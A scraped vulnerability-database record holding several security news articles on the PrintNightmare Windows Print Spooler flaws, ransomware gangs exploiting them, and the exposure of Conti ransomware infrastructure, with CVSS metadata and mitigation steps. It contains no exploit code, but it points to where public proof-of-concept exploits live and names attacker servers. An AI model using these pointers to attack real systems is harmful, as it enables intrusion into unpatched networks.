"href": "https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:05", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEguJG5dD1Vh67fJlg0O-HXucpsF2Y-eVW6kua8F3Er_7OwG5WZpZAqvZHKbXJboPvuTyfrTXpc260OZ87-4ehJm-_qY8JOnLJxhWok-es74ZTW3O7ua3WuueglfYtH7632jDmh5DfPftDD998FED2xruJFMtTPwe_eI7umOKXrdazu4WRTC-OnHg7ND>)\n\nThe clearnet and dark web payment portals operated by the [Conti](<https://thehackernews.com/2021/05/fbi-warns-conti-ransomware-hit-16-us.html>) ransomware group have gone down in what appears to be an attempt to shift to new infrastructure after details about the gang's inner workings and its members were made public.\n\nAccording to [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1461450607311605766>), \"while both the clearweb and Tor domains of the leak site of the Conti ransomware gang is online and working, both their clearweb and Tor domains for the payment site (which is obviously more important than the leak) is down.\"\n\nIt's not clear what prompted the shutdown, but the development comes as Swiss cybersecurity firm PRODAFT [offered](<https://www.prodaft.com/resource/detail/conti-ransomware-group-depth-analysis>) an unprecedented look into the group's ransomware-as-a-service (RaaS) model, wherein the developers sell or lease their ransomware technology to affiliates hired from darknet forums, who then carry out attacks on their behalf while also netting about 70% of each ransom payment extorted from the victims.\n\nThe result? Three members of the Conti team have been identified so far, each playing the roles of admin (\"Tokyo\"), assistant (\"it_work_support@xmpp[.]jp\"), and recruiter (\"IT_Work\") to attract new affiliates into their network.\n\nWhile ransomware attacks work by encrypting the victims' sensitive information and rendering it inaccessible, threat actors have increasingly latched on to a two-pronged strategy called double extortion to demand a ransom payment for decrypting the data and threaten to publicly publish the stolen information if the payment is not received within a specific deadline.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgOlxdMar0Fk9C_1oq4rsZqCsRuaWDFa_UwPznj1p4XnxV22g7c-3gidrF7ZVnxd0TVDTn8qhzr16V265fVSa3d-p7SOODkUMikIREYKzV6MyCaPI1KWzNgYj3TduhqzgszRUX6zZkCytED5c4K-icaEZjwN4cvwnz1D0zehnwVGdYAwJXLo8uaJijX>)\n\n\"Conti customers \u2013 affiliate threat actors \u2013 use [a digital] management panel to create new ransomware samples, manage their victims, and collect data on their attacks,\" noted the researchers, detailing the syndicate's attack kill chain leveraging PrintNightmare ([CVE-2021-1675](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>), [CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), and [CVE-2021-36958](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>)) and FortiGate ([CVE-2018-13374](<https://nvd.nist.gov/vuln/detail/CVE-2018-13374>) and [CVE-2018-13379](<https://thehackernews.com/2021/09/hackers-leak-vpn-account-passwords-from.html>)) vulnerabilities to compromise unpatched systems.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEh5pQ7nISIe-f2lC7T7iJVkfmQ4L9uCXsO1rxdPo0YzkwJ4-Q15UkgDuRGhckTpdbAYrR1h3kYePBPrRNFWefg6MtaX_jlMsgcojwvu-zrrtvaw0hKxGJkD-dTl06UiZOX1R5kuboLkxyuot8hDBrgxX1fH8yoVdsv0e1f0rvziG6_Mw-IWMJUBBgQg>)\n\nEmerging on the cybercrime landscape in October 2019, Conti is believed to be the work of a Russia-based threat group called [Wizard Spider](<https://malpedia.caad.fkie.fraunhofer.de/actor/wizard_spider>), which is also the operator of the infamous [TrickBot](<https://thehackernews.com/2021/11/trickbot-operators-partner-with-shatak.html>) banking malware. Since then, at least 567 different companies have had their business-critical data exposed on the victim shaming site, with the ransomware cartel receiving over 500 bitcoin ($25.5 million) in payments since July 2021.\n\nWhat's more, an analysis of ransomware samples and the bitcoin wallet addresses utilized for receiving the payments has revealed a connection between Conti and Ryuk, with both families heavily banking on TrickBot, Emotet, and BazarLoader for actually [delivering the file-encrypting payloads](<https://thehackernews.com/2021/06/ransomware-attackers-partnering-with.html>) onto victim's networks via email phishing and other social engineering schemes.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgySne4_su9eRCap6MABBaa8kbBo2rWbr8gzBUOmkmLhbonXU-etPl5K4VuXHkduN2lH7fMHbQ7q8Wq0HsqBnUz9P3JWJBqtztJQAEPOJWnoAVuecd8Zyblq-TOPPfmILc40tmzfs9VX0h_utrR3fydA8JQm8EO0PO7BIKlRaSIBA8_I717s_bvckQ5>)\n\nPRODAFT said it was also able to gain access to the group's recovery service and an admin management panel hosted as a Tor hidden service on an Onion domain, revealing extensive details of a clearnet website called \"contirecovery[.]ws\" that contains instructions for purchasing decryption keys from the affiliates. Interestingly, an investigation into Conti's ransomware negotiation process [published](<https://team-cymru.com/blog/2021/10/05/collaborative-research-on-the-conti-ransomware-group/>) by Team Cymru last month highlighted a similar open web URL named \"contirecovery[.]info.\"\n\n\"In order to tackle the complex challenge of disrupting cybercriminal organizations, public and private forces need to work collaboratively with one another to better understand and mitigate the wider legal and commercial impact of the threat,\" the researchers said.\n\n**_Update:_** The Conti ransomware's payment [portals](<https://twitter.com/VK_Intel/status/1461810216241086467>) are back up and running, more than 24 hours after they were first taken down in response to a report that identified the real IP address of one of its recovery (aka payment) servers \u2014 217.12.204[.]135 \u2014 thereby effectively bolstering its security measures.\n\n\"Looks like Europeans have also decided to abandon their manners and go full-gansta simply trying to break our systems,\"the gang said in a statement posted on their blog, effectively confirming PRODAFT's findings, but characterizing the details as \"simply disinformation,\" and that \"the reported 25kk which we 'made since July' is straight-up BS - we've made around 300kk at least.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-19T06:50:00", "type": "thn", "title": "Experts Expose Secrets of Conti Ransomware Group That Made 25 Million from Victims", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13374", "CVE-2018-13379", "CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-11-20T15:13:21", "id": "THN:F35E41E26872B23A7F620C6D8F7E2334", "href": "https://thehackernews.com/2021/11/experts-expose-secrets-of-conti.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-YB6xMmNkBp0/YRYuIvxMidI/AAAAAAAADhg/a2Ee5QkoQZw6JlnYhCIdg3Nk-HM2yu2wwCLcBGAsYHQ/s0/ransomware.jpg>)\n\nRansomware operators such as Magniber and Vice Society are actively exploiting vulnerabilities in Windows Print Spooler to compromise victims and spread laterally across a victim's network to deploy file-encrypting payloads on targeted systems.\n\n\"Multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward,\" Cisco Talos [said](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) in a report published Thursday, corroborating an [independent analysis](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) from CrowdStrike, which observed instances of Magniber ransomware infections targeting entities in South Korea.\n\nWhile Magniber ransomware was first spotted in late 2017 singling out victims in South Korea through malvertising campaigns, Vice Society is a new entrant that emerged on the ransomware landscape in mid-2021, primarily targeting public school districts and other educational institutions. The attacks are said to have taken place since at least July 13.\n\nSince June, a series of \"PrintNightmare\" issues affecting the Windows print spooler service has come to light that could enable remote code execution when the component performs privileged file operations -\n\n * [**CVE-2021-1675**](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on June 8)\n * [**CVE-2021-34527**](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on July 6-7)\n * [**CVE-2021-34481**](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-36936**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10) \n * [**CVE-2021-36947**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-34483**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Elevation of Privilege Vulnerability (Patched on August 10)\n * [**CVE-2021-36958**](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Unpatched)\n\nCrowdStrike noted it was able to successfully prevent attempts made by the Magniber ransomware gang at exploiting the PrintNightmare vulnerability.\n\nVice Society, on the other hand, leveraged a variety of techniques to conduct post-compromise discovery and reconnaissance prior to bypassing native Windows protections for credential theft and privilege escalation.\n\n[](<https://thehackernews.com/images/-JlsTWIHVgX4/YRYltMOGBKI/AAAAAAAADhQ/pzUFIcW6y0ABjOe3PuUQE5cPSnEOvGP9ACLcBGAsYHQ/s0/ransomware.jpg>)\n\nSpecifically, the attacker is believed to have used a malicious library associated with the PrintNightmare flaw (CVE-2021-34527) to pivot to multiple systems across the environment and extract credentials from the victim.\n\n\"Adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively,\" the researchers said. \"The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T08:29:00", "type": "thn", "title": "Ransomware Gangs Exploiting Windows Print Spooler Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-34527", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958"], "modified": "2021-08-13T08:32:51", "id": "THN:6428957E9DED493169A2E63839F98667", "href": "https://thehackernews.com/2021/08/ransomware-gangs-exploiting-windows.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-07-08T07:53:10", "description": "Microsoft has released an emergency patch for the PrintNightmare, a set of two critical remote code-execution (RCE) vulnerabilities in the Windows Print Spooler service that hackers can use to take over an infected system. However, more fixes are necessary before all Windows systems affected by the bug are completely protected, according to the federal government.\n\nMicrosoft on Tuesday released an [out-of-band update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for several versions of Windows to address [CVE-2021-34527](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527>), the second of two bugs that were initially thought to be one flaw and which have been dubbed PrintNightmare by security researchers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nHowever, the latest fix only appears to address the RCE variants of PrintNightmare, and not the local privilege escalation (LPE) variant, according to an [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>) by the Cybersecurity Infrastructure and Security Administration (CISA), citing a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) published by the CERT Coordination Center (CERT/CC).\n\nMoreover, the updates do not include Windows 10 version 1607, Windows Server 2012 or Windows Server 2016, which will be patched at a later date, according to CERT/CC.\n\n## **A Tale of Two Vulnerabilities**\n\nThe PrintNightmare saga [began last Tuesday](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) when a proof-of-concept (PoC) exploit for the vulnerability \u2014 at that time tracked as CVE-2021-1675 \u2014 was dropped on GitHub showing how an attacker can exploit the vulnerability to take control of an affected system. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [patch for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), addressing what it thought was a minor EoP vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, it soon became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. CERT/CC on Thursday offered its own workaround for PrintNightmare, advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\n## **Microsoft Issues Incomplete Patch**\n\nThe fix released this week addresses CVE-2021-34527, and includes protections for CVE-2021-1675, according to the CISA, which is encouraging users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\nBut as noted, it won\u2019t fix all systems.\n\nSo, in cases where a system is not protected by the patch, Microsoft is offering several workarounds for PrintNightmare. One is very similar to the federal government\u2019s solution from last week: To stop and disable the Print Spooler service \u2014 and thus the ability to print both locally and remotely \u2014 by using the following PowerShell commands: Stop-Service -Name Spooler -Force and Set-Service -Name Spooler -StartupType Disabled.\n\nThe second workaround is to disable inbound remote printing through Group Policy by disabling the \u201cAllow Print Spooler to accept client connections\u201d policy to block remote attacks, and then restarting the system. In this case, the system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nAnother potential option to prevent remote exploitation of the bug that has worked in \u201climited testing\u201d is to block both the RPC Endpoint Mapper (135/tcp) and SMB (139/tcp and 445/tcp) at the firewall level, according to CERT/CC. However, \u201cblocking these ports on a Windows system may prevent expected capabilities from functioning properly, especially on a system that functions as a server,\u201d the center advised.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-07T10:55:02", "type": "threatpost", "title": "Microsoft Releases Emergency Patch for PrintNightmare Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T10:55:02", "id": "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "href": "https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-06T21:23:56", "description": "The U.S. government has stepped in to offer a mitigation for a critical remote code execution (RCE) vulnerability in the Windows Print Spooler service that may not have been fully patched by Microsoft\u2019s initial effort to fix it.\n\nTo mitigate the bug, [dubbed PrintNightmare](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), the CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for CVE-2021-1675 urging system administrations to disable the Windows Print Spooler service in Domain Controllers and systems that do not print, the Cybersecurity Infratructure and Security Administration (CISA) said [in a release](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) Thursday. CERT/CC is part of the Software Engineering Institute, a federally funded research center operated by Carnegie Mellon University.\n\n\u201cWhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does NOT protect Active Directory domain controllers, or systems that have [Point and Print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>) configured with the NoWarningNoElevationOnInstall option configured,\u201d CERT/CC researchers wrote in the note.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe mitigation is in response to a scenario that unfolded earlier this week when a proof-of-concept (POC) for PrintNightmare was dropped on GitHub on Tuesday. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform. An attacker can use the POC to exploit the vulnerability to take control of an affected system.\n\nIn the meantime, Microsoft Thursday put out a new advisory of its own on PrintNightmare that assigns a new CVE and seems to suggest a new attack vector while attempting to clarify confusion that has arisen over it.\n\nWhile the company originally addressed CVE-2021-1675 in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) as a minor elevation-of-privilege vulnerability, the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that the patch appears to fail against the RCE aspect of the bug\u2014hence CISA\u2019s offer of another mitigation and Microsoft\u2019s update.\n\n## **Assignment of New CVE?**\n\nRegarding the latter, the company dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) Thursday for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appears to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\nThe description of the bug sounds like PrintNightmare; indeed, Microsoft acknowledges that it is \u201can evolving situation.\n\n\u201cA remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to the notice. \u201cAn attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\u201d\n\nIn a \u201cFAQ\u201d section in the security update, Microsoft attempts to explain CVE-2021-34527\u2019s connection to CVE-2021-1675.\n\n\u201cIs this the vulnerability that has been referred to publicly as PrintNightmare? Yes, Microsoft has assigned CVE-2021-34527 to this vulnerability,\u201d the company wrote.\n\nHowever, the answer to the question \u201cIs this vulnerability related to CVE-2021-1675?\u201d suggests that CVE-2021-34527 is a different issue.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\nMicrosoft goes on to explain that CVE-2021-34527 existed before the June Patch Tuesday updates and that it affects domain controllers in \u201call versions of Windows.\u201d\n\n**\u201c**We are still investigating whether all versions are exploitable,\u201d the company wrote. \u201cWe will update this CVE when that information is evident.\u201d\n\nMicrosoft did not assign a score to CVE-2021-34527, citing its ongoing investigation.\n\n## **Two Vulnerabilities?**\n\nIn retrospect, one security researcher noted to Threatpost when news of PrintNightmare surfaced Tuesday that it was \u201ccurious\u201d that the CVE for the original vulnerability was \u201c-1675,\u201d observing that \u201cmost of the CVEs Microsoft patched in June are -31000 and higher.\u201d\n\n\u201cThis could be an indicator that they have known about this bug for some time, and fully addressing it is not trivial,\u201d Dustin Childs of Trend Micro\u2019s Zero Day Initiative told Threatpost at the time.\n\nNow it appears that perhaps Microsoft was patching only part of a more complex vulnerability. The likely scenario appears to be that there are two bugs in Windows Print Spooler that could offer attackers some kind of exploit chain or be used separately to take over systems.\n\nWhile one flaw may indeed have been addressed in June\u2019s Patch Tuesday update, the other could be mitigated by CERT/CC\u2019s workaround\u2014or could remain to be patched by a future Microsoft update that comes after the company completes its investigation.\n\nThe company\u2019s release Thursday of a new CVE related to PrintNightmare seems to be an initial attempt to clarify the situation, though given its developing nature, it remains a bit hazy for now.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T12:21:02", "type": "threatpost", "title": "CISA Offers New Mitigation for PrintNightmare Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-30116", "CVE-2021-34527"], "modified": "2021-07-02T12:21:02", "id": "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "href": "https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-19T16:25:33", "description": "Microsoft has warned of yet another vulnerability that\u2019s been discovered in its Windows Print Spooler that can allow attackers to elevate privilege to gain full user rights to a system. The advisory comes on the heels of patching two other remote code-execution (RCE) bugs found in the print service that collectively became known as PrintNightmare.\n\nThe company released [the advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481>) late Thursday for the latest bug, a Windows Print Spooler elevation-of-privilege vulnerability tracked as [CVE-2021-34481](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34481>). Microsoft credited Dragos vulnerability researcher Jacob Baines for identifying the issue.\n\nThe vulnerability \u201cexists when the Windows Print Spooler service improperly performs privileged file operations,\u201d according to Microsoft.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nAttackers who successfully exploit the bug can run arbitrary code with SYSTEM privileges, allowing them to install programs, view, change or delete data, or create new accounts with full user rights, the company said.\n\nTo work around the bug, administrators and users should stop and disable the Print Spooler service, Microsoft said.\n\n## **Slightly Less of a \u2018PrintNightmare\u2019**\n\nThe vulnerability is the latest in a flurry of problems discovered in Windows Print Spooler, but seems slightly less dangerous, as it can only be exploited locally. It rates 7.8 out of 10 on the CVSS vulnerability-severity scale.\n\nIndeed, [Baines told BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-shares-guidance-on-new-windows-print-spooler-vulnerability/>) that while the bug is print driver-related, \u201cthe attack is not really related to PrintNightmare.\u201d Baines plans to disclose more about the little-known vulnerability in [an upcoming presentation](<https://defcon.org/html/defcon-29/dc-29-speakers.html#baines>) at DEF CON in August.\n\nThe entire saga surrounding Windows Print Spooler [began Tuesday, June 30](<https://threatpost.com/poc-exploit-windows-print-spooler-bug/167430/>), when a proof-of-concept (PoC) for an initial vulnerability in the print service was dropped on GitHub showing how an attacker can exploit the flaw to take control of an affected system.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), fixing what it thought was a minor elevation-of-privilege vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, soon after it became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. The federal government even stepped in last Thursday, when CERT/CC [offered its own mitigation](<https://threatpost.com/cisa-mitigation-printnightmare-bug/167515/>) for PrintNightmare that Microsoft has since adopted \u2014 advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527. The company explained that the second bug was similar to the earlier PrintNightmare vulnerability but also its own distinct entity.\n\nEventually, Microsoft last Wednesday [released an emergency cumulative patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>) for both PrintNightmare bugs that included all previous patches as well as protections for CVE-2021-1675 as well as a new fix for CVE-2021-34527.\n\nHowever, that fix also [was incomplete](<https://www.kb.cert.org/vuls/id/383432>), and Microsoft continues to work on further remediations as it also works to patch this latest bug, CVE-2021-34481. In the meantime, affected customers should install the most recent Microsoft updates as well as use the workaround to avoid exploitation, the company said.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T11:57:53", "type": "threatpost", "title": "Microsoft: Unpatched Bug in Windows Print Spooler", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34527"], "modified": "2021-07-16T11:57:53", "id": "THREATPOST:A8242348917526090B7A1B23735D5C6C", "href": "https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-01T12:50:21", "description": "UPDATE\n\nA proof-of-concept for a critical Windows security vulnerability that allows remote code execution (RCE) was dropped on GitHub on Tuesday \u2013 and while it was taken back down within a few hours, the code was copied and is still out there circulating on the platform.\n\nThe bug ([CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>)) exists in the Windows Print Spooler and has been dubbed \u201cPrintNightmare\u201d by researchers. It was originally addressed in [June\u2019s Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>) from Microsoft as a minor elevation-of-privilege vulnerability, but the listing was updated last week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE. The patch, according to many, appears to fail against the RCE aspect of the bug.\n\n\u201cThere are 40 entries in Microsoft\u2019s list of affected products, from Windows 7 to Windows 10 and from Server 2008 to Server 2019,\u201d Dirk Schrader, global vice president of security research at New Net Technologies (NNT), now part of Netwrix, told Threatpost. \u201cGiven this broad surface, it is likely that this vulnerability will become an element in the tool chain of current malware families.\u201d\n\nOn Sunday, the QiAnXin security team [tweeted a video](<https://twitter.com/RedDrip7/status/1409353110187757575>) showing successful RCE \u2013 but it held back any technical or PoC details. Two days later, though, a full-blown PoC with a complete technical analysis appeared on GitHub, authored by another security firm, Sangfor.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nClaire Tills, senior security engineer with Tenable, which spotted the PoC posting, noted that \u201cthe GitHub repository was publicly available long enough for others to clone it. The PoC is likely still circulating and is likely to resurface publicly, if it hasn\u2019t already done so.\u201d\n\nAnd indeed, according to one security practitioner, the code was successfully forked to another page.\n\n> Looks like the original PoC for PrintNightmare (CVE-2021-1675) got deleted but someone has forked it since <https://t.co/8MiP62SlzC>\n> \n> \u2014 Andy Gill (@ZephrFish) [June 29, 2021](<https://twitter.com/ZephrFish/status/1409838221303988227?ref_src=twsrc%5Etfw>)\n\nOn Wednesday, other researchers [tweeted videos](<https://twitter.com/gentilkiwi/status/1410246348784422916>) and more [analysis](<https://twitter.com/cube0x0/status/1409928527957344262>) that could be used for successful exploitation as word spread of the PoC.\n\n> Impacket implementation of CVE-2021-1675 \ud83d\udd25<https://t.co/UpKOueij4c>\n> \n> \u2014 Cube0x0 (@cube0x0) [June 29, 2021](<https://twitter.com/cube0x0/status/1409928527957344262?ref_src=twsrc%5Etfw>)\n\nIt should be noted that some sources are also saying that the existing Microsoft patch doesn\u2019t remedy the RCE version. Cube0x0\u2019a impacket implementation above for instance works on a fully patched Windows machine, [the authors said](<https://github.com/cube0x0/CVE-2021-1675>).\n\n\u201cWe\u2019re still evaluating the efficacy of the patch ourselves, but there are multiple reports indicating the proof-of-concept code works against fully patched systems,\u201d Dustin Childs, of Trend Micro\u2019s Zero Day Initiative, told Threatpost. \u201cThis does indicate the patch released in June does not completely address the root cause of the bug. Either way, enterprises should treat this as an incomplete fix and implement other workarounds, such as disabling the print spooler and blocking TCP ports 135 and 445 at the perimeter.\u201d\n\nHe made note of 